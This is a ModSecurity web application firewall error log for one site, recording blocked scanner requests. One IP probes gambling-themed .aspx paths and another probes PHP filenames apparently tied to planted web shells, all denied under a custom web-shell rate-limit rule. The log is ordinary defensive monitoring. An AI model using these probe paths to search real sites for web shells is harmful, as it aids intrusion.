[Sun Apr 12 16:04:59.596907 2026] [:error] [pid 25327:tid 25346] [client 51.75.128.50:46926] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adtSKy6h2tZEVJo9JFK0owAAAAo"]
[Sun Apr 12 16:05:02.008487 2026] [:error] [pid 25327:tid 25342] [client 51.75.128.50:48084] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adtSLi6h2tZEVJo9JFK0pgAAAAY"]
[Sun Apr 12 16:05:04.432871 2026] [:error] [pid 60280:tid 60299] [client 51.75.128.50:48094] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adtSMHBlLnDOYuIykkgWywAAAdE"]
[Sun Apr 12 16:05:06.832524 2026] [:error] [pid 25329:tid 25406] [client 51.75.128.50:48096] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adtSMmdcIYsS8Iyaj12UhAAAAJE"]
[Sun Apr 12 16:05:09.373149 2026] [:error] [pid 60280:tid 60306] [client 51.75.128.50:48102] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adtSNXBlLnDOYuIykkgW0wAAAdg"]
[Sun Apr 12 16:05:11.745184 2026] [:error] [pid 26567:tid 26575] [client 51.75.128.50:34190] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adtSN3hRpg6ptWFyFx2D-wAAAQY"]
[Sun Apr 12 16:05:14.134219 2026] [:error] [pid 25437:tid 25440] [client 51.75.128.50:34196] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adtSOnf97wYZje1ep_MH2QAAAME"]
[Sun Apr 12 16:05:16.665875 2026] [:error] [pid 26600:tid 26643] [client 51.75.128.50:34212] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adtSPO1YwAZiXhQKLYoJBwAAAY4"]
[Sun Apr 12 16:05:19.190484 2026] [:error] [pid 26599:tid 26619] [client 51.75.128.50:34220] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adtSP3G89LXoQbk_rwCwpgAAAVE"]
[Sun Apr 12 16:05:21.575528 2026] [:error] [pid 26567:tid 26589] [client 51.75.128.50:49386] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adtSQXhRpg6ptWFyFx2EAgAAARQ"]
[Sun Apr 12 16:05:24.079824 2026] [:error] [pid 25328:tid 25394] [client 51.75.128.50:49392] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adtSRMxUaQZxT-e0YsDXDwAAAFI"]
[Sun Apr 12 16:05:45.038079 2026] [:error] [pid 26600:tid 26630] [client 51.75.128.50:49398] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adtSWe1YwAZiXhQKLYoJHAAAAYE"]
[Sun Apr 12 16:05:47.345697 2026] [:error] [pid 26567:tid 26577] [client 51.75.128.50:33564] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adtSW3hRpg6ptWFyFx2ECwAAAQg"]
[Sun Apr 12 16:05:49.848963 2026] [:error] [pid 25328:tid 25369] [client 51.75.128.50:33578] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adtSXcxUaQZxT-e0YsDXRgAAAEU"]
[Sun Apr 12 16:05:52.225159 2026] [:error] [pid 25328:tid 25387] [client 51.75.128.50:43224] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adtSYMxUaQZxT-e0YsDXTQAAAE8"]
[Sun Apr 12 16:05:54.744251 2026] [:error] [pid 26599:tid 26626] [client 51.75.128.50:43238] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adtSYnG89LXoQbk_rwCwuwAAAVg"]
[Sun Apr 12 16:05:57.265816 2026] [:error] [pid 60280:tid 60283] [client 51.75.128.50:43244] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adtSZXBlLnDOYuIykkgXDAAAAcE"]
[Sun Apr 12 16:05:59.663277 2026] [:error] [pid 60280:tid 60282] [client 51.75.128.50:43260] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adtSZ3BlLnDOYuIykkgXGAAAAcA"]
[Sun Apr 12 16:06:02.167281 2026] [:error] [pid 25328:tid 25370] [client 51.75.128.50:51242] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adtSasxUaQZxT-e0YsDXYAAAAEY"]
[Sun Apr 12 16:06:04.703684 2026] [:error] [pid 60280:tid 60289] [client 51.75.128.50:51252] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adtSbHBlLnDOYuIykkgXIQAAAcc"]
[Sun Apr 12 16:06:07.200077 2026] [:error] [pid 26599:tid 26602] [client 51.75.128.50:51256] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adtSb3G89LXoQbk_rwCwvAAAAUA"]
[Sun Apr 12 16:06:09.703554 2026] [:error] [pid 25437:tid 25445] [client 51.75.128.50:51266] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adtScXf97wYZje1ep_MH6AAAAMY"]
[Sun Apr 12 16:06:12.201092 2026] [:error] [pid 60280:tid 60293] [client 51.75.128.50:49760] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adtSdHBlLnDOYuIykkgXKQAAAcs"]
[Sun Apr 12 16:06:14.707514 2026] [:error] [pid 60280:tid 60285] [client 51.75.128.50:49774] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adtSdnBlLnDOYuIykkgXNAAAAcM"]
[Sun Apr 12 16:06:17.100757 2026] [:error] [pid 25327:tid 25360] [client 51.75.128.50:49790] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adtSeS6h2tZEVJo9JFK0xgAAABg"]
[Sun Apr 12 16:06:19.600982 2026] [:error] [pid 60280:tid 60283] [client 51.75.128.50:49804] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adtSe3BlLnDOYuIykkgXPgAAAcE"]
[Sun Apr 12 16:06:22.111108 2026] [:error] [pid 26599:tid 26618] [client 51.75.128.50:56722] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adtSfnG89LXoQbk_rwCwwgAAAVA"]
[Sun Apr 12 16:06:24.614736 2026] [:error] [pid 25437:tid 25443] [client 51.75.128.50:56730] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adtSgHf97wYZje1ep_MH8QAAAMQ"]
[Sun Apr 12 16:32:24.767815 2026] [:error] [pid 60280:tid 60302] [client 43.164.195.17:48602] [client 43.164.195.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adtYmHBlLnDOYuIykkgfjAAAAdQ"]
[Sun Apr 12 16:43:33.001044 2026] [:error] [pid 25328:tid 25389] [client 68.221.68.72:64775] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adtbNMxUaQZxT-e0YsDhJQAAAFA"]
[Sun Apr 12 16:43:33.723311 2026] [:error] [pid 26600:tid 26648] [client 68.221.68.72:65280] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adtbNe1YwAZiXhQKLYoPTAAAAZM"]
[Sun Apr 12 16:43:34.429324 2026] [:error] [pid 60280:tid 60282] [client 68.221.68.72:64027] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adtbNnBlLnDOYuIykkglHQAAAcA"]
[Sun Apr 12 16:43:35.242076 2026] [:error] [pid 60280:tid 60289] [client 68.221.68.72:65254] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adtbN3BlLnDOYuIykkglIAAAAcc"]
[Sun Apr 12 16:43:37.068328 2026] [:error] [pid 60280:tid 60283] [client 68.221.68.72:65323] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adtbOXBlLnDOYuIykkglJgAAAcE"]
[Sun Apr 12 16:43:37.868025 2026] [:error] [pid 60280:tid 60292] [client 68.221.68.72:65297] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adtbOXBlLnDOYuIykkglKAAAAco"]
[Sun Apr 12 16:43:38.703795 2026] [:error] [pid 60280:tid 60294] [client 68.221.68.72:64760] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adtbOnBlLnDOYuIykkglKgAAAcw"]
[Sun Apr 12 16:43:39.605227 2026] [:error] [pid 60280:tid 60299] [client 68.221.68.72:65334] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adtbO3BlLnDOYuIykkglLQAAAdE"]
[Sun Apr 12 16:43:40.222493 2026] [:error] [pid 25437:tid 25444] [client 68.221.68.72:64757] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adtbPHf97wYZje1ep_MPBgAAAMU"]
[Sun Apr 12 16:43:40.864278 2026] [:error] [pid 26599:tid 26622] [client 68.221.68.72:64814] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adtbPHG89LXoQbk_rwC0UwAAAVQ"]
[Sun Apr 12 16:43:41.618469 2026] [:error] [pid 26600:tid 26640] [client 68.221.68.72:65295] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adtbPe1YwAZiXhQKLYoPXAAAAYs"]
[Sun Apr 12 16:43:42.210875 2026] [:error] [pid 25327:tid 25352] [client 68.221.68.72:64780] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adtbPi6h2tZEVJo9JFK4GAAAABA"]
[Sun Apr 12 16:43:42.874697 2026] [:error] [pid 26600:tid 26652] [client 68.221.68.72:65269] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adtbPu1YwAZiXhQKLYoPXgAAAZc"]
[Sun Apr 12 16:43:43.784128 2026] [:error] [pid 25329:tid 25406] [client 68.221.68.72:64042] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adtbP2dcIYsS8Iyaj12W0gAAAJE"]
[Sun Apr 12 16:43:44.493344 2026] [:error] [pid 26600:tid 26637] [client 68.221.68.72:64810] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adtbQO1YwAZiXhQKLYoPYQAAAYg"]
[Sun Apr 12 16:43:45.123728 2026] [:error] [pid 26599:tid 26617] [client 68.221.68.72:65265] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adtbQXG89LXoQbk_rwC0WQAAAU8"]
[Sun Apr 12 16:43:45.734827 2026] [:error] [pid 25329:tid 25384] [client 68.221.68.72:64709] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adtbQWdcIYsS8Iyaj12W1AAAAIU"]
[Sun Apr 12 16:43:46.638459 2026] [:error] [pid 25328:tid 25367] [client 68.221.68.72:64028] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adtbQsxUaQZxT-e0YsDhNAAAAEM"]
[Sun Apr 12 16:43:47.211354 2026] [:error] [pid 26567:tid 26585] [client 68.221.68.72:64754] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adtbQ3hRpg6ptWFyFx2I1AAAARA"]
[Sun Apr 12 16:43:47.966393 2026] [:error] [pid 26599:tid 26620] [client 68.221.68.72:64034] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adtbQ3G89LXoQbk_rwC0WwAAAVI"]
[Sun Apr 12 16:43:48.742161 2026] [:error] [pid 25327:tid 25350] [client 68.221.68.72:64828] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adtbRC6h2tZEVJo9JFK4HAAAAA4"]
[Sun Apr 12 16:43:49.351428 2026] [:error] [pid 60280:tid 60306] [client 68.221.68.72:64788] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adtbRXBlLnDOYuIykkglOgAAAdg"]
[Sun Apr 12 16:43:49.967767 2026] [:error] [pid 25437:tid 25443] [client 68.221.68.72:65299] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adtbRXf97wYZje1ep_MPDQAAAMQ"]
[Sun Apr 12 16:43:51.542794 2026] [:error] [pid 26600:tid 26634] [client 68.221.68.72:65291] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adtbR-1YwAZiXhQKLYoPawAAAYU"]
[Sun Apr 12 16:43:52.141151 2026] [:error] [pid 26567:tid 26580] [client 68.221.68.72:64777] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adtbSHhRpg6ptWFyFx2I2QAAAQs"]
[Sun Apr 12 16:43:53.463871 2026] [:error] [pid 26600:tid 26629] [client 68.221.68.72:64745] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adtbSe1YwAZiXhQKLYoPdAAAAYA"]
